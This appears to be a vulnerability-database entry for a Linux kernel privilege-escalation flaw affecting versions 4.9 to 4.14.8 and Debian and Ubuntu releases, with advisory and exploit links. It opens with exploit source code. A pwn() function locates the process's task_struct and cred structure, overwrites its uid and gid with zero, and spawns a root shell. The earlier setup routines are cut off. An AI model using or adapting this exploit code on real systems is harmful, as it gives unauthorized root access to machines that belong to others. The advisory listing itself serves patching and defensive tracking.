pwn(void) { uint64_t fp, sp, task_struct, credptr, uidptr; fp = __get_fp(); if (fp < PHYS_OFFSET) __exit("bogus fp"); sp = get_sp(fp); if (sp < PHYS_OFFSET) __exit("bogus sp"); task_struct = __read(sp); if (task_struct < PHYS_OFFSET) __exit("bogus task ptr"); printf("task_struct = %lx\n", task_struct); credptr = __read(task_struct + CRED_OFFSET); // cred if (credptr < PHYS_OFFSET) __exit("bogus cred ptr"); uidptr = credptr + UID_OFFSET; // uid if (uidptr < PHYS_OFFSET) __exit("bogus uid ptr"); printf("uidptr = %lx\n", uidptr); __write(uidptr, 0); // set both uid and gid to 0 if (getuid() == 0) { printf("spawning root shell\n"); system("/bin/bash"); exit(0); } __exit("not vulnerable?"); } int main(int argc, char **argv) { prep(); pwn(); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 4.9 To (excluding) 4.9.72

Linux>>Linux_kernel >> Version From (including) 4.10 To (excluding) 4.14.9

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

References

https://www.exploit-db.com/exploits/45058/
Tags : exploit, x_refsource_EXPLOIT-DB
https://usn.ubuntu.com/3619-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3633-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securityfocus.com/bid/102288
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/44298/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/45010/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.debian.org/security/2017/dsa-4073
Tags : vendor-advisory, x_refsource_DEBIAN
https://usn.ubuntu.com/usn/usn-3523-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3619-1/
Tags : vendor-advisory, x_refsource_UBUNTU
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.